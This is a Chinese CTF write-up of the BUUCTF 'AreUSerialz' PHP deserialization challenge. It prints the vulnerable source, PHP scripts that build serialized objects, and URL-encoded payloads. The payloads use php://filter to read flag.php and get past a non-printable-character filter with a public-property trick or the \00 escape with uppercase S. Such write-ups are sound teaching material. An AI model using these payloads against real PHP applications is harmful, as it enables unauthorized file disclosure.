【BUUCTF】AreUSerialz
【BUUCTF】AreUSerialz (反序列化)
题目来源
收录于:BUUCTF 网鼎杯 2020 青龙组
题目描述
根据PHP代码进行反序列化
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
题解
此题解题思路较为清晰,反序列化时依次调用的函数为:
__destruct() ==> process() ==> read()
在read()
中的file_get_contents()
中得到我们要读的文件。
这里直接给出构造的类
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;
这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s
的值为
O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D
对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid()
,用于检测传递的字符串中是否有不可打印的字符。
由于类中有protected
的属性,因此我们序列化后的字符串中会有不可打印字符%00
,这道题的难点就在这里。
这里有两种方式可以进行绕过
方式一
当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。
即可以直接将protected
改为public
,即可避免出现不可打印的字符,同时可以成功反序列化。
<?php
class FileHandler {
public $op;
public $filename;
public $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
echo(urlencode(serialize($o)));
传入打印的字符串即可得到base64编码的flag
方式二
此方法并不改变变量的保护类型。
当我们向浏览器传递%00
时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。
当我们向浏览器传递\00
时,浏览器不会将其解析为单个字符。
下面用代码进行验证:
<?php
function is_valid($s) {
echo "str_length="; //输出字符串长度
echo strlen($s);
echo "<br>ASCII(str): ";
for($i = 0; $i < strlen($s); $i++){
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
echo "invalid!!!";
return false;
}
echo ord($s[$i]); //输出每个字符的ASCII
echo " ";
}
return true;
}
$str = (string)$_GET['str'];
is_valid($str);
?>
因此我们将%00
替换为\00
,就可以绕开ord()
的判断。但是这样一来,反序列化时\00
将无法正确解析为单个字符。
我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。
于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。
<?php
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意
}
}
$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;
将红框内的小写 s 替换为大写 S,得到的payload为
O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D
总结
当遇到不可打印字符被过滤时,有两种方法:
PHP版本>=7.2时,可将protected直接修改为public
将序列化后的字符串中的
%00
修改为\00
,并将保护类型为protected
的变量的变量类型由s改为S
【BUUCTF】AreUSerialz的更多相关文章
- 【BUUCTF】强网杯 2019随便注1 write up
输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...
- 【BUUCTF】ACTF2020 新生赛Include1 write up
查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...
- Python高手之路【六】python基础之字符串格式化
Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...
- 【原】谈谈对Objective-C中代理模式的误解
[原]谈谈对Objective-C中代理模式的误解 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这篇文章主要是对代理模式和委托模式进行了对比,个人认为Objective ...
- 【原】FMDB源码阅读(三)
[原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...
- 【原】Android热更新开源项目Tinker源码解析系列之一:Dex热更新
[原]Android热更新开源项目Tinker源码解析系列之一:Dex热更新 Tinker是微信的第一个开源项目,主要用于安卓应用bug的热修复和功能的迭代. Tinker github地址:http ...
- 【调侃】IOC前世今生
前些天,参与了公司内部小组的一次技术交流,主要是针对<IOC与AOP>,本着学而时习之的态度及积极分享的精神,我就结合一个小故事来初浅地剖析一下我眼中的“IOC前世今生”,以方便初学者能更 ...
- Python高手之路【三】python基础之函数
基本数据类型补充: set 是一个无序且不重复的元素集合 class set(object): """ set() -> new empty set object ...
- Python高手之路【一】初识python
Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...
- 【开源】简单4步搞定QQ登录,无需什么代码功底【无语言界限】
说17号发超简单的教程就17号,qq核审通过后就封装了这个,现在放出来~~ 这个是我封装的一个开源项目:https://github.com/dunitian/LoTQQLogin ————————— ...
随机推荐
- Windows更改远程桌面端口
为了远程安全,默认在3389改为别的端口. 本示例为3389改为53389 1.步骤:打开"开始→运行",输入"regedit",打开注册表,进入以下路径: [ ...
- 配置 Forwarded Headers Middleware
来自微软的说明:Configure ASP.NET Core to work with proxy servers and load balancers | Microsoft Learn. 通过该中 ...
- (default-compile) on project app: Fatal error compiling: 无效的标记: --release -> [Help 1]
<plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <versio ...
- Qt自定义控件集成到全平台QtCreator效果图
- TypeScript学习(一) - 一些基本的数据类型
1. 数据类型 1.1 原始数据类型 boolean number string null undefiend Array Map Tuple 1.2 特殊类型 任意值类型(any) 联合类型 1. ...
- kubernetes系列(十一) - 存储之configMap
1. configMap简介 1.1 configMap的典型用法 1.2 configMap的表现形式 2. configMap的创建方式 2.1 kubectl create命令行创建 2.1.1 ...
- 高通Android工程释放ADSP侧GPIO给AP侧(HLOS)解决uart只能收或者发,gpio 无法配置成输入或者输出
在许多sensor的调试过程中总是会遇到各种GPIO被占用的情况,特别是以下几种情况:UART 只能发或收,GPIO 配置了pinctl output但是gpio依旧为输入. 1.判断GPIO口状态 ...
- 正在测试和完善的CH552(CH549)USB下载之单按键带入电路实验
一.设计理由 CH552或CH549进入USB下载,通常需要两个按键,一个控制电源的通断,一个通过串联电阻(一头接VCC或V33)冷启动时抬高UDP电平.时序上是这样的:断电--按下接UDP的轻触开关 ...
- c# 微软小冰-虚拟女友聊天
using Newtonsoft.Json; using System; using System.Collections.Generic; using System.IO; using System ...
- w3cschool-R语言 教程
https://www.w3cschool.cn/r/ R语言教程 R语言是用于统计分析,图形表示和报告的编程语言和软件环境. R语言由Ross Ihaka和Robert Gentleman在新西兰奥 ...